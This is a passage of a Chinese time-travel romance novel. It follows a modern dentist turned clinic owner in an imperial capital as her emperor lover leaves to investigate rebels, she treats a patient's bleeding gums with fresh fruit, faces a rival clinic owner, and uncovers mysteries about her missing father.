苏颜妍就像被困在泥潭里,连挣扎都万分困难,她不得不开口控场:“松开些,我要喘不过气了。”
禁锢她的手臂松了些力道,她依然在他怀中,现在可以小幅度活动。
苏颜妍没再放任,抬高自己的胳膊,圈抱住萧景琮的脖颈。他们便头抵头、面对面相拥。
“你总这样小心。医馆现在留下的人,哪个你没派人去查了他们祖宗八代?围在我身边的暗卫是不是网一样,我自己想冲出去都插翅难逃?收一收控制欲,亲爱的陛下。”
“你嫌我烦。”萧景琮哼哼唧唧。
苏颜妍便被他逗笑:“说一说我身边很安全,你把我保护的很好。不嫌你,这种全方位无死角保镖服务,除了你还有谁能给我提供。你总担心我,把自己搞得这样紧张,天天想太多,小心这样会变丑哦。”
“噫,贪图美色的女人。”萧景琮低头又亲了她一下,把自己的打算告诉她:“这次安南逆党能潜进禁宫,皇宫中少不了他们渗透进去的人手。宫里现在不安全,查找探子这种事,袁因比我擅长。我想去安南,好好调查一下当年的真相。”
“安南王谋反案后,大哥去安南整顿了三年,现在那边也没有大危险。京中遗留的多是安南世子的余党,安南才是他们的大本营。他们费尽心机进宫,我亲自送到他们家门口,看看到底能玩出什么花样来。”
“……”苏颜妍能说什么,他主意已定,没死咬着让她陪着去已是万幸,只好安静听他畅想。
去去去,赶紧去,查案查身世查旧情,总之比她头疼的大有人在。
比如兢兢业业的镇南王萧晟玹,听了他离谱的皇帝弟弟,只恨当年没多打他几顿,现在这样不省心。
“你想抓人,手底下多少能用的,你自己亲自去?君子不立危墙!”
“你若是不放心别人,我亲自去查,保证不会有任何一条不利消息传到京中,给你光辉形象抹黑。”
然而不管他苦口婆心说了多少劝阻的话,萧景琮就拧着要亲自去。
袁因笑话他:“还当你性子变了,在人家苏姑娘面前不会也这个样子吧?堂堂七尺男儿,耍起赖来如同三岁小儿。晟玹,你陪他去,看他到底折腾个什么。”
“娘子,你怎么也随他闹。我陪他南下,京中留谁坐镇。中书省刘长卿自己动脑子一拿一个馊主意;皇城司孙知恩忠心有余力不足……”
袁因笑吟吟打断他:“你们悄悄地走,我坐镇。这些人要是真有通天本事,哪里能留的到现在。冒头的那些这会儿比先皇坟头草还高了吧,别忘了当时萧昂珺是怎么被整到谋反的。”
先皇萧元宏,是一等一权谋政治生物。刚愎自用、疑心甚重,连太子都放心不下,一手拉起安南王世子与义子萧晟玹争斗,达成三方势力平衡。算计人心者,似乎总是没有好下场,当时官场不站个队,那就是炮灰靶子。真正能力鼎朝局的,都在夺嫡战中倒下了。
深受先皇蹂躏的难兄难弟:……
迟来叛逆反骨犟种萧景琮:……总之他就要南下!
萧晟玹无奈,所有的不赞成都在爱人与弟弟的坚持下节节败退。他只好应下,安排人手准备护驾南下。
临走时,萧景琮又偷偷摸摸去见苏颜妍。
“我不在的时候,你别出京城,有事让人传信给袁因,她会帮你想法子的。等我回来,我再继续来陪着你,记得想我。”
苏颜妍:不是吧亲,真出京,真去安南啊?电视剧都不敢这样演好吧!
还想着他哥能治住他呢,现在看起来似乎也不太靠谱的样子呢。
“你这样真的没事吗?万一有什么突发需要露面的情况,你要怎么赶回来?”苏颜妍替他发愁。
萧景琮嘿嘿笑:“袁因在,她最擅长易容,以前…”他含含糊糊带过:“…反正我当太子时,她就代替我处理不少事情。有她在,什么都能处理。”
苏颜妍额头滑下三条黑线:感情她这位男朋友空有“皇帝”的名号,真正治国做事的另有其人啊。怪不得袁因大佬半点不受叛党诱惑,人家早就掌着实权,哪里用得着再贪图一个虚名,平白生出波澜。
看样子,她还是好好学□□,努力发展事业,争取日后养着男朋友过自己的小日子吧。
……
萧景琮离开后,日子就像那渃河的水,日复一日流向远方。
苏颜妍的医馆里,分诊台、会诊室、诊疗室、复诊室、药房,已经划分的清楚,各项制度试运行已经完成,小桃与前来学徒的各色“实习生”可以流畅地进行工作。
这套科学又高效的工作流程,带给苏颜妍更多的声望和信任。
要知道,就算是官府,也未必有这样条理分明的责任闭环工作标准呢。
她可不是只靠自己搬运未来的那套照搬找茬,袁因来找她玩时,她拜托这位大佬帮她看过,这是经过本土化后的2.0版本,丝滑流畅应用到医馆中。
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>行政后勤平稳运行,苏颜妍除了开讲座,就在研究外科配套的工具,从材料替代到改良图纸,全部亲力亲为。
推广和收学徒这两件事一直都在做,它们是相辅相成的。越推广,知晓的人就越多;越多人知晓,就会有心向求知的人来到医馆,求学、进步。
里面肯定有打着小九九的,这种私心前来的就算萧景琮派人查背景,也没办法将他们筛选出来。但苏颜妍不在乎,不管他们初始的目的是为了吃饱饭还是为了赚大钱,能学到本事、学好本事,未来利用这份知识立足、成长,她就觉得有意义。
就像她小时候立志当一位牙医一样,就像岐黄谷有教无类一样,越多的人了解,这种技术才会被传播,才会继续活下去。
小桃曾经问她:“师父,我们一开始规划的是回春堂分成两处,一处常规医学,一处专门负责牙疾。现在怎么全部冲着我们来了,他们不想去和李善他们学习吗?”
“相对于传统中医需要掌握的知识,外科要更加简洁高效。就像当时的你一样,你可能弄不懂中医搭脉望闻问切,可是我准备好棉花球与工具,你就能按我教会你的步骤,来进行一场拔牙小手术。”
“古代流传的典籍,你很难背下来,对吗?”苏颜妍笑着道。
毕竟她穿越后就开始翻苏父书房的专用笔记和医书,到现在为止,都没办法把古文般的医书塞进自己的脑子里。随用随翻都不一定找的准记在哪本书哪一页上。
外科就方便且简单的多。准备好合格的材料与药剂,消毒、看诊、确定病因、执行治疗…只要不是手残党,都能顺着要求一样样做好。
殊不知,有些人有些事,不是她做好各种自查也不主动招惹,那是非也会主动来找她。
萧景琮离京的一周后,回春堂门前来了一位指名想要苏颜妍救治的精瘦男子。他自述是从边城专程回京城求诊的。
“我长在边城,是家中幼子。我的家里父母兄弟十余口,个个同我一般,牙龈日日出血。苏神医,您最擅长治牙疾,我听来过村子的商人说起过你的医术,请帮帮我们家的人吧!”
苏颜妍蹙起眉头:“家里人全部都牙龈出血?他们在哪,没和你一起来医馆吗?”
患者摇摇头,黯然地说:“从边陲到京城,家中银钱根本支撑不了我们全部来找您治疗。苏神医,求您帮我看看,开些药吧。我、我当牛做马,报答您的恩情。”
苏颜妍摆手,示意旁边的学徒把跪倒在地不住磕头恳求的患者扶起来。
她思忖一会儿说道:“你们家在边城,平时吃的是什么?蔬菜水果类能经常吃到吗?”
患者挣扎着比划:“苏神医,我家常吃奶制品,蔬菜价格昂贵,我们年节会囤一点新鲜野菜。我们家的病,是因为吃了野草引起的吗?还是长生天厌烦了我们家族,才给我们降下口齿流血的诅咒?”
这就是她总想着多些地方推广的原因之一了:景朝的患者安分是真安分,就是这思想觉悟,唉!诅咒,长生天的诅咒,老天爷真要折腾谁,当真谁都不让。
科学,小老弟,要信仰的是科学,少搞封建迷信!
49. 同行是冤家
倘若一个患者去医馆求医问药,中医通常操作是“望闻问切”。
这种诊断是流经千百年磨合,最适合当下判断的。
苏颜妍给患者治病的时候也会询问,问饮食习惯,观察病患病理状态等等。她和传统中医不同的是,她不需要诊脉,理论思维也不是阴阳五行那一套经脉肺腑体系。
有些常识性的知识,现代人从小到大自然而然接触了解过,就像大家都在坐马车时,有个人开着F4潇洒甩尾气漂移,这种差距感就让患者想破脑袋也想不出原因,最后只能迷信认为苏颜妍就是跟了菩萨神仙学了手段。
边陲小城,哪家没个牙龈出血的人?听个传闻特地跑进京城去求医,那在当地大小也是个人物。
苏颜妍治好了一个,好名声就像指数函数一样,发酵成了了不得的样子。
原以为是长生天的诅咒,要不怎么会流血呢?它惩罚他们不能吃东西。原本的患者是这样笃信的。
可是苏颜妍没有怕这样的诅咒,她只看了几眼,问了几句话,就给出了建议:“你们那里蔬菜水果都是精贵东西,长时间不摄入新鲜果蔬,身体扛不住的。你回家后也给家人说说,你们可以找找周边,是不是有沙棘、枸杞之类的,找到后常吃,自然而然就好了。”
患者当时张大的嘴巴能塞下一整个鸡蛋!他瞪着眼,傻愣愣地问:“大夫,不用吃药吗?人参、当归…这些东西都不用吃吗?”
苏颜妍笑了起来:“缺乏维生素而已,哪里用得着吃这些。别怕,你若不信,在城里找找看,有没有卖桑葚果的。路上遇见野蓝莓野红莓,都可以采些来吃。”
小桃在旁边,无理由捧场:“现在城里果子种类多得很呢,我知道还有西域运来的胡瓜,又大又圆,甜的和蜜一样!吃果子也能治牙龈出血,不用吃苦苦的中药,这真是太好了,我早点知道就更好了!”
跟在他们身边的学徒也附和道:“以前倒是听说过有一种叫做食疗的法子,能辅助治疗养生。像苏大夫这样不开药物,看看症状就给出解决法子的,从古未有。倘若所有的病都能从身边找到解药,那该多好啊!”
患者从一开始还半信半疑,但是人家医馆没给开药,只收他看诊钱,几个铜板远远低于他的想象。他咬咬牙,从预备看病的银钱里取出一小点,不仅买了桑葚,还买了京中最受欢迎的果蔬。
他倒要看看,吃了这些东西,是不是真能像苏颜妍说的那样有效果。
桑葚真甜啊,黄瓜真清脆爽口啊!天上的神仙吃的仙果也就是他现在这种感受了吧。
确实比苦口的中药舒服千倍万倍哈。
从边城来的、本来以为自己还有全家、得了不治之症或者恶毒诅咒、提心吊胆堵上一口气、跨越万水千山、千里迢迢找到传说中的回春堂现任当家、那位菩萨神仙点化教授的苏神医、用三言两语让花了几枚铜板解决了恶疾的患者牛大壮、真的被治好了!
从此他就是苏颜妍的迷弟,住在客栈里各种吹嘘,出门遇见大爷大妈中年青年小孩子阿猫阿狗都要和人家呱呱唧唧说一说苏颜妍的神奇!
有强烈推崇的,就有强烈不安的。
苏颜妍本人没有踩着任何医馆来夸大自己的医馆,受了她大惠的百姓们,朴素的感恩就是逢人就夸。
不是每个人都可以站在公平公正的立场发言的。苏颜妍没夸大其词,这些自来水们那是恨不得用上自身所能夸赞的全部赞美词。
一个两个这样说,影响不大,顶多辐射一家两家。说的人多了,这些言语变成飓风,呼啸横扫。风不会区别对待,它就是强横的吹。
什么都没干躺着也中枪的其他医馆,被这些闲言絮语扫射,就算再心宽的大夫,也难免嘀咕几句。
被回春堂抢过患者的复康堂陈掌柜,面对愈演愈烈的风声,气破了肚皮。
冲突发生在北城十里坊,在这里聚集各个地方进京暂住的外地人,面摊饭馆挨挨挤挤,供这些人填饱肚子。
复康堂就在北城,苏颜妍改革自家医馆,低廉的价格吸引过去不少患者。北城外来人员较多,复康堂算是受到影响最大的医馆。
陈掌柜对苏颜妍自然没有好印象,没打上回春堂都是顾忌济世堂林有仁这种龙头老大都没行动,也怕自己势单力薄,与苏颜妍冲突后被别人渔翁得利。
复康堂的病患跑到回春堂看诊,陈掌柜不得不闲下来,带着一腔郁气到周边饭馆吃点东西。
巧了不是,冤家路窄,偏偏就是他,遇上了逢人就吹嘘苏颜妍神医名声的牛大壮。
陈掌柜这个气啊,怎么哪哪都有回春堂!我们复康堂怎么了,安安分分在北城,让一个黄毛丫头骑到头上拉屎呢!
以前宣传都是去城外村子,现在嚣张到跑他们家隔壁饭馆抢生意啊?欺人太甚!!
陈掌柜饭都没吃,和牛大壮对峙了几句,气冲冲就往回春堂方向去。他忍不了了,他要找苏颜妍那丫头算账!
苏颜妍被陈掌柜喊出来时还很茫然。
拜托,她忙着整理所有能想起来的简单小科普呢。被人打上家门,指着鼻子骂不讲武德,这真是冤死她了。
“小丫头,劝你做人做事不要太过分,哪有不择手段到如此地步的,欺人太甚!你清高,你了不起,你可以仗着家里有两个钱兜底做好人好事!可是我们这些家无余财的,也要生活。你把所有的生意抢过来,赔钱也抢人,连口饭都不让别的医馆吃,太不厚道了!”
陈掌柜越说越气,新仇旧恨涌上心头,他这会儿也记不得苏颜妍背后有什么大靠山,连济世堂都不敢惹这件事情,一门心思只想出口气。
苏颜妍叫屈:“这位掌柜,我推广都是挑周边没有同行的地方,从来没在外边说过你们一句不是。你这是受了谁的气,把一切不满算到我的头上?回春堂这里专攻牙疾,另一处分馆两位医师擅长的是大方脉和小方脉。你家医馆肯定也有自己擅长治疗的本事,我们哪里能抢得了全部的生意。”
这事真是冤!她真的注意了,怎么还能有人跑出来控诉她垄断啊,离谱。
陈掌柜喷着火气叫骂:“惺惺作态,你是没亲自说,你收买的人哪个没嚷嚷给别人听!你苏神医好,比别家医馆良心,有病不用吃汤药,买点瓜果时蔬吃就能治好顽疾。你厉害,你真敢昧着良心沽名钓誉。苏南星当家时都没你这么嚣张,小丫头,你现在已经是所有医馆的敌人,你自己知道不知道?”
有留在苏颜妍身边的暗卫伪装成学徒,快速给苏颜妍解释了陈掌柜来闹事的前因后果。苏颜妍听说事情是前几天来求医的牛大壮引起
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的,顿时哭笑不得。
“这都是误会。”她从没想抢过别家的患者,让人家做不了生意。
暗卫继续补充:“他家受冲击倒也不全是因为牛大壮,富康堂之前仗着他们是北城独家的医馆,没少利用地理位置坑蒙外地人的钱。人都不是傻子,回春堂不参与医馆连价,有人一说这边诊疗便宜,还免费教授平价草药采集自用,受过恩惠的都不会主动再去其他医馆。尤其是仗着独家坑过他们的复康堂。”
苏颜妍这才了然,她打发走询问是不是要斩草除根的暗卫,决定速战速决。省得哪个脑子不灵光一心遵守萧景琮命令的暗卫出手,了结了陈掌柜的小命。他闹归闹,罪不至死啊。
苏颜妍有心退一步,陈掌柜却以为她怕事,更加咄咄逼人。
没等苏颜妍耐心烧光,苏东林从人群中挤进来,拦停陈掌柜,为苏颜妍解围:“在下岁安学府苏东林,这位掌柜,苏姑娘已经退了一步,您又何必得寸进尺?小生旁听许久,听您说的,事情是外人与您起了争执,与苏姑娘又有什么干系?苏姑娘支撑家业不易,您掌着复康堂许久,何必来欺负一个小姑娘。”
陈掌柜大怒:“你又算哪颗葱,我来找回春堂的掌柜,你插什么嘴?”
“在下路见不平,哪怕和苏姑娘萍水相逢,遇到您这样的人来找茬,也要站出来拦一拦的。陈掌柜,请您回去,离开此处,勿要逗留。”
他挡在苏颜妍身前,拦着陈掌柜,不让他靠近。拦停过程中,免不了肢体接触,趁着靠得近,苏东林小声对陈掌柜低语几声。而后,两人大声争吵几句,陈掌柜愤恨停下,甩袖离开。
苏东林一直等他离开,这才转身对苏颜妍行礼抱拳:“苏姑娘,又见面了,这位掌柜和你是同行,他说的话,你不要放在心上。”
苏颜妍点点头,虽然她不需要有人出头,可是陈掌柜已经离开,她不得不承苏东林的情,心中有点微妙的不愉。就像她点的外卖快递员已经到了电梯,被室友看到后提前代收送回来时专门说“我帮你把外卖带回了不用谢”一样不爽。
苏东林言语间越是有礼,他做的事情就越发让她闹心。
比苏东林更闹心的,是他的妹妹苏小香。
苏小香半点不会看眼色,苏颜妍还满腹火气呢,她没事人似的凑过来,问:“喂,你身边那个好看的男子,他人呢,怎么没跟着你?”
苏颜妍不想理她,她牛皮糖似的,缠着人不放。
苏颜妍讽刺道:“每个人都是自己的主宰,想去哪里就去哪里,没必要时时刻刻在一起。苏小香,我们不熟,离我远点。”
苏小香愤恨看了她一眼,在苏东林的眼神警告下,心不甘情不愿的离开。
苏东林躬身道别:“苏姑娘一心为民,这是好的。只是传承下来的祖宗规矩,多少还是要注意,免得如今日一般,产生争执又占不到理。在下便先告辞了,再见,苏姑娘。”
苏颜妍心中沉甸甸的,她贝齿轻咬下唇,少见的有些犹豫。难道她推广改革医馆,真的是错误的吗?萧景琮和小桃是她铁杆支持者,是不是除了他们,其他也有看不惯她的人,隐在暗处,如同活火山一样,不定哪一天爆出怒焰?
她突然想起,苏夫人好像也曾说过同样意思的话。她的好心情,荡然无存。
50. 苏颜妍后知后觉
陈掌柜的事如同一颗石子投入湖中,漾起一圈圈涟漪。
苏颜妍扒拉出脑子里储存的各种案例,试图找找有没有破局的法子。她没办法再无视这些可能受到影响保不住饭碗的同行。
陈掌柜固然有各种各样不妥当的言行,患者自由选择医馆怪不得她。可是,偌大京城,人口万万数,她并不能治得了所有人。
倘若其他医馆确实因为她的改革影响,开不下去关门,最后终归会损害底层百姓的利益。
小桃看着苏颜妍皱眉发愁就脑壳疼,她大大咧咧想的很开:“好师父,别为他们费心思。一家医馆开不下去,会有其他医馆继续呀。你想想看,岐黄谷那么多医师,还有很多年轻的正在学习的。他们学成后难道不想有自己的医馆吗?想想看,李真李善两位大夫是不是很容易撑起一个医馆。”
苏颜妍原本坐在长椅上,小桃故意挤过来,把她从中间挤到一旁。大夏天,一个热烘烘的暖炉靠过来,苏颜妍推她,她还故意搞怪,横竖不让她继续想三想四。
苏颜妍被闹得无奈,赶紧给她找些事分散注意力。她的关心太重了,差点被压扁。
苏夫人笑着看她们玩闹,时不时插上一两句:“可算是露出点笑模样,妍娘,你爹在时那陈掌柜都与他不睦,那人心性不好,说的话你都当反话听就行。咱们医馆好好的,尽力救治每一个人,难道那些手头拮据的人就该苦苦挣扎讨生活,再把赚到的辛苦钱给陈掌柜那种人吗?没道理做好事的人要想这想那,一心炸黑心钱的人理直气壮。”
小桃把头点成敲鼓的锤,恨不得咚咚咚响起来应景赞成。
苏颜妍应声道:“好,好,我这就把陈掌柜这人从脑子里扔出去。陈掌柜是谁,不认识!行了吧?”
她可不敢再和苏夫人说,苏父的事情她还瞒着苏夫人呢。也不知道萧景琮这会儿到哪了,有没有找到想查的事。袁因一直在宫里,她都找不到人问问城外那个关着人的据点。
跟在她身边的暗卫轴的很,萧景琮让他们保护她,他们就只围着她,派都派不出去。
白延琅和林玉珠这两个人也不知道怎么回事,没有任何风声传出,害她神经紧张,生怕出了什么变故。
朝阳区群众那么厉害,怎么现在同为京城百姓,就没人扒拉出来什么八卦啊。
脑壳疼,苏颜妍甩甩头,把这些乱糟糟的思绪统统沉入脑子深处,专注改良外科小工具。
遇事不决就搞事业。
李真李善他们也要薅一把,看看能不能找到替代碘伏的消毒液。
“杀菌消毒?”李真李善面面相觑,李善斟酌着说:“若是外伤流血,自然先要清洗创口,外敷药粉。”
李真补充:“如果在野外,草木茂盛时,能寻到常见的止血草,揉成烂泥抹在伤口处,可以快速止住。如果是在家中,草木灰也是常用的。苏姑娘,你是想要哪种?”
苏颜妍在纸上画了个小瓶子,炭笔敲打着纸板,道:“止血草、草木灰、药粉,这些用在手脚膝盖处,伤口暴露在外面容易处理。伤口面在嘴里,用不了这种。”
“嘴里面,煮一些汤剂?”小桃跟着出主意,她思维跳脱,一下子点醒了苏颜妍。
“对啊,外用品消毒和口里消毒可以分开,如果有迅速就能使用的汤剂,含在嘴里,配合专用的药粉使用,完全可以这样。”苏颜妍长舒一口气,拜托李真李善他们研制专用汤剂。
她等着有大用。
小桃恍然大悟,食指点点,确认道:“是不是前天来就诊的祝大宝,那个黑了牙嗷嗷叫的?”
苏颜妍点头。
祝大宝是她遇到过龋齿最严重的一个。满口的牙,黑的黑,蛀的蛀。麻烦的是,给他拔牙,创口多久愈合,她心里没有数。多个牙神经发炎,拔一颗,剩下的还是会疼。不能多拔,拔除是有风险的,这地界可没有ICU。
现在想出汤药止血的法子,她恢复一些信心,也敢给他下手拔牙了。
知道苏颜妍是在为治祝大宝各种苦思冥想,小桃沉默了会儿,鼓足勇气开口阻止:“师父,如果可以,请您不要亲自给祝大宝拔牙。准备好汤药后,这件事交给我来做吧。”
苏颜妍不可思议道:“小桃你现在这么勇敢啦?祝大宝的牙坏成那个鬼样子,拔起来很费事。你勇于挑战高难度的心我十分理解,咱们还是从简单的小孩乳牙开始入手,循序渐进更好呢。”
“不是的,”小桃摇头,神情凝重:“我不是着急自己学习的事。那个祝大宝…”她迟疑了一会儿,继续说:“他是城里有名的混世魔王,给他治病,治得好他不会夸你好,没治好他全家会扑上来撒泼的。”
“他家里有人当官?”苏颜妍来了精神,开始吃瓜。
小桃见她乐呵呵的一点也没当回事,有些着急:“当官的没有,全是些混不吝的。师父,你上点心,真的很难缠的。他们家三代单传,每一辈都是育有七个姐妹,最后才得的男丁。祝大宝是他们家这一辈的独子。祝家女个个都被教导的成了魔,把祝大宝护的和眼珠子似的。你不信去打听打听,真有祝大宝在外面吃喝不顺心,他姐姐们去人家饭馆里撒泼打滚闹事的事情。”
苏颜妍:哇!神奇物种!
她吃完瓜握着小桃的手安慰道:“医馆和饭馆没有可比性,咱们板上钉钉就是救人治病的,他家再不讲理,也怪不到咱们头上。”
小桃跺了跺脚:“哎呀!你是不知道他们家的德性,真的特别过分。吃鸡蛋没吃到双蛋黄都要去闹人家多给个鸡蛋的人,指望他们懂得安分和感恩,太阳打西边出来也难得一见。明明知道他们是这样的人,有多远躲多远才好。”
苏颜妍拉着小桃一起去翻找医典,加强自己的知识储备,口含药剂拜托李真李善两位良医,她们也要继续努力,不能一知半解。对自己使用的一切要像看自己的手心一样清楚明白,才会建立更坚定的信心,也能更好的把这种信念传达给求医的患者。
至于祝大宝,管他呢,现在是自我提升时间,杞人忧天的事情,她才不要做。
对了,还要找暗卫,这次一定要他们给袁因带
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个信。苏父的事情,具体到了哪一步,好歹给她一个消息。天知道这事压在她心上,看到苏夫人就心虚气短。
萧景琮回来,一定要狠狠找他理论。谁家男朋友一下子就跑到外地去,说失联就失联。看见他咬他一口!苏颜妍恨恨地想,把自己的牙齿磨得咔咔响。
苏父书房里收藏的典籍,许多都是自己的手抄版本。苏颜妍重点翻找了李真他们说的那几种消毒止血材料。
止血草画有图片,叶片上带着细细的小刺,苏颜妍一下就想到它真实的样子,这不就是童年里常见的植物么!它开着淡紫色的小花,原来这就是止血草啊,真是有趣。
既然它能止血,如果口腔里面有出血位置,放在嘴里用牙齿嚼烂含着,是不是也能有同样的效果啊?苏颜妍思维发散,胡思乱想。
也不知道能不能吃,有没有毒。等萧景琮回来,下次一起去郊外,要记得让他陪着去多找些野生草药认识认识。
也不知道苏父在哪里收集的这许多医术,种类可真全。为什么他不早些教自己的女儿学习这些知识呢?就算当时他不打算让原身继承医馆当大夫,能学习一份知识傍身,也是极好极好的。为什么原身的记忆里没有任何苏父教她的场景呢?
苏颜妍从草药原材想到原身,一下子关注到了之前没注意到的地方。
苏父失踪她没多想,当时白延琅贴脸开大,分心家业就掉落,日后也别想有好日子过。医馆改革她也没多想,每天琢磨着规划和方案就足够她绞尽脑汁。叛党据点见到苏父,她吃惊后也没多想。苏父这个受害者被困,有家不能回,徒弟就是个人渣,他一失联就叛变,现在都和林玉珠混一起。
可是,细细想来,苏父真的如他表现出来的那样无辜吗?
他是个成年人,还是能和林有仁势均力敌对抗多年的当家大夫。一个似是而非的消息,真能困住他,不往家里送任何一点讯息吗?他表现的那样关心苏夫人和原身,为什么她就是感觉不到,他对原身更激烈的情绪,例如关注,期待。
书房的医书静默打开,苏颜妍中指敲打着书册,从这份敏锐察觉的不妥,延伸出更多似是而非的可能。
小桃见她停下翻书,问道:“师父,不找了吗?”
苏颜妍重新打开书册,一页页翻看这本《全本草》,从一笔一画尽显斯文工整的字里行间,揣摩苏父当时记录这些书籍时的心情。
她喊了声继续找,转身看到小桃踩在高凳上,翻看另一本佰草集。
“小桃,小心些,那个梯子搭的粗糙,你可别意外摔倒。我看一会儿书,你随意,别太着急,把自己害的受伤。”
“我省得。”小桃应声,沉默一会儿后问苏颜妍:“师父,苏大夫、你爹懂得知识点真多,他是怎么收集下这么多的医书。你当年怎么就不多跟着你爹学习,很多不寻常的病症,他都记录下来了,还附带医方呢。”
小桃双手倏地互拍:“哎呀,要不要去找李真李善两个人,先趁着空余时间,研究研究这些医方吧,说不定咱们真能用得上呢。”
51. 好大一口辛密瓜
带着苏父的医书去找人一起研究,这合适吗?苏颜妍沉吟不决。
她在密室见过苏父,当时情况紧迫,二人不能细说。想来苏父已经知道她接手医馆,这些相关的事情他并不会反对。
苏颜妍带着小桃去分馆找李真李善,一起看看医书里的药方能不能用得上,节省研究的时间和方向。
李真和李善看到苏颜妍带来的书,很是诧异:“这是岐黄谷中也没收录的全本药方集,珍贵异常。传说前朝皇室曾经藏有孤本,现在已经失传。这本书您是从哪里得来的?”
他们同时想到萧景琮,兄妹俩互相对视一眼,放弃追问。李真对苏颜妍说:“这些药方很有用,有了它们,您需要的药剂三两天就可以配置出。”
他面上带着迟疑,声音小声了些:“苏姑娘,这本医书能多借给我们看一段时间吗?我们保证不抄录,不外传,里面有些绝密的药方很珍贵,我和妹妹研习医术到了一个坎,出来实践也是想要快点摸索出能突破的路子。这本医书,对我们有莫大的帮助。我们可以做主,在您这边坐诊不用您支付之前约定的报酬,您看可以吗?”
苏颜妍敏锐察觉出,这本书如此珍贵,那书籍保有者苏父,隐藏的秘密比她想象中的还要多。
她和小桃不清楚苏父珍藏医书的价值,李真李善已经看到,幸好他们算的上是自己人,李真能这样保证,从他们这边流出去风声的可能性不大。
苏颜妍心思电转,面上半点没露出,笑盈盈道:“这本医书我既然带给你们看,就是把你们当成信任的朋友。你们想看,就留着吧。只是这书毕竟不是我所有,还请你们好好收着,别被其他人知晓。”
“苏姑娘肯点头,我们兄妹承您的情,必定不会让您难做。谢谢苏姑娘。”李真李善眼神晶亮,感激地起身给苏颜妍行礼。
他们知晓萧景琮的身份,只当这医书是萧景琮从皇宫藏品中找出来给苏颜妍的。听苏颜妍说,更认定就是这回事,自是不会怀疑其他可能。
苏颜妍回家后,躺在床上辗转难眠。她的眼前就像一片迷雾笼罩,耳边声音窸窸窣窣,全然如乱麻一团,找不到头。
苏颜妍穿越过来,原身落水,苏父失踪。
跟随苏父学习十多年的白延琅,全然不顾师徒之情,一心想将医馆占为己有。
苏夫人病重,萧景琮带她去岐黄谷求助,她说苏父曾经在那里学习。
岐黄谷确实知道苏父,但她接触的长老,对苏父并不亲密,更像是知道这个人但是没深交。
苏父在京城,与济世堂一系不睦。邻居街坊口中,他一直是仁慈悲悯的形象。
可就是这样一个人,书房里存有医学界顶级学府岐黄谷都没有的相传是前朝皇室才有的医书,身上带着叛党想要的关乎当朝皇帝身世的辛密。
苏夫人与他多年夫妻,他从未对苏夫人透露过半分秘密。
苏颜妍觉得这太过古怪,又一时想不明白哪里有问题,可它明明就是不对劲啊。
苏颜妍翻来覆去,横竖睡不着。手指甲咬了又咬,每一根手指上的细小倒刺都让她难以忍受,抠挖捻磨,坐卧难宁。
或许因为此刻是京城夏天最闷热的时段,萧景琮不在,每日送来的冰数量不多,屋里的燥气染着驱赶蚊虫的熏香,无形刺激苏颜妍的神经。
苏颜妍泄气地趴倒在床上,凉席如玉,像一个个平息怒火的吻。她恨恨握拳锤了锤床榻。
“咻——”,一团纸团落在她背上,又弹到她身侧。苏颜妍一骨碌爬起,警惕四顾:“是谁?!”
“咻——”,又一团纸团从房梁砸中她额头,顺着她俏鼻落入面前拥起褶皱的冰绡堆。
苏颜妍看过去,惊讶地抬手揉了揉眼睛:“袁姐姐?你什么时候跑到我房梁上的?”
她竟半分没察觉。
袁因今夜梳了风流倜傥的世家男子发型,一身黑金紧身袍服,活脱脱一个俏脸小公子。
“我掐指一算,有位美人心有牵念,为我辗转反侧,难以入眠。我怜香惜玉,自然要赶紧来看望一番,消解美人的烦忧。”
苏颜妍和她玩得久,对她的花言巧语免疫力很高。她跳下床,赤脚踩着木屐,伸手就要去抓袁因扇风耍帅的手。
袁因先她一步上前,没让她踩到地,堵在她身前,自然而然扶着苏颜妍沿着床边坐下:“我又跑不了,毛毛躁躁的,急什么。怎么几天没见,你似乎攒了一肚子话给我说。”
苏颜妍攥着袁因绣着金纹的衣襟,前后摇了摇:“我都托暗卫给你传了几天信了,你现在才来见我。还一下子从房梁上跳下来,亏我心大,你这样吓到多少人啦!”
“嘻嘻嘻。”袁因得意地笑:“好玩呗,小颜妍,我费劲从宫里挤出时间出来见你,你如今可是和当朝一品大员们一个身价。那些没名没分的,哪里配得上我特意屈尊驾临。”
“是不是想萧景琮了?要不要我易容成他的样子给你看一看,以解相思之苦哇?”她挤眉弄眼,一张俊脸染上滑稽,惹的苏颜妍又气又笑。
“别逗我了,我真的有事情找你。”苏颜妍忧思半宿,见着袁因这个聪明人,赶紧把这几天的事讲给她听。
袁因若有所思道:“你怀疑你爹?这就是血脉间的直觉吗?城郊我们去的那处据点,暗卫已经收网。皇城司收到指令包围农庄,捉住了百余名密探。”
“安南逆党自三年前萧昂珺伏诛,萧元宇自尽,安南王一系根基已断。没有主心骨,就算保有部分财物,他们的人手也不会比得上当年。禁宫内,萧景琮诛杀的,据说是这些余孽的头目。皇城司武德使上奏,推测京中安南逆党已被尽数拔除。但是……”
苏颜妍心头一跳,十指紧扣掌心,指甲印刻进皮肉,压出一排牙痕。
她听袁因停顿一息后说:“你爹、苏南星苏大夫,从围城铁桶一般的农庄据点,消失了。若不是当时是我带着你,咱们亲眼目睹,我都要怀疑,当时密室里见到的人,是不是真实存在了。皇城司翻过密室,经验老道的差役回禀,那个密室空置许久,并没有关押人的痕迹。”
“消失了,没有任何痕迹,这怎么可能?是找错地方了吗?”苏颜妍心口沉甸甸的,她又开始觉得哪儿哪儿不舒服,好像背上爬上了毛毛虫。
袁因拍拍她的手,“唰”的打开扇子,手腕用力,给苏颜妍扇风。她几句话轻轻抚平苏颜妍心中的烦躁:“咱们还有线索,别忘了白延琅和林玉珠。暗卫营关押白延
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琅的人自查报告,当时白延琅确实受刑后咽了气,他们将人扔出牢狱。这事儿你应当知道,就像你爹失踪一般,他止息后竟又活了。他们两人身上,应该有我们想知道的答案。”
苏颜妍长呼一口气,闷声道:“幸亏我没把密室的事告诉我娘,事情怎么越来越离奇。袁姐姐,我是信你的,你说,我这个爹,不会真和前朝皇室扯上什么关系吧?”
袁因“噗嗤”笑出声:“前朝皇室,是个组织就想打着这个名号,仿佛多了这么个名头就能师出有名似的。放心吧,别的不好说,前朝皇室这身份,你爹绝对沾不上。”
“怎么说?”苏颜妍奇了,她还以为自己穿越来的身份能有什么龙傲天式的牛逼来历呢。
“前朝皇室,嗤——”袁因长长的睫毛垂下,在眼眶遮出浓密黑影:“实不相瞒,前朝皇室唯一的血脉,就在你面前呢。”
“啊?”苏颜妍傻眼,她结结巴巴道:“你…你…怎么又是你?”
“怎么不能是我?你当易容术这种绝技是烂大街的招式么?没点传承我怎么会这种牛气的本事?”袁因昂昂下巴,骄傲地挑起嘴角。
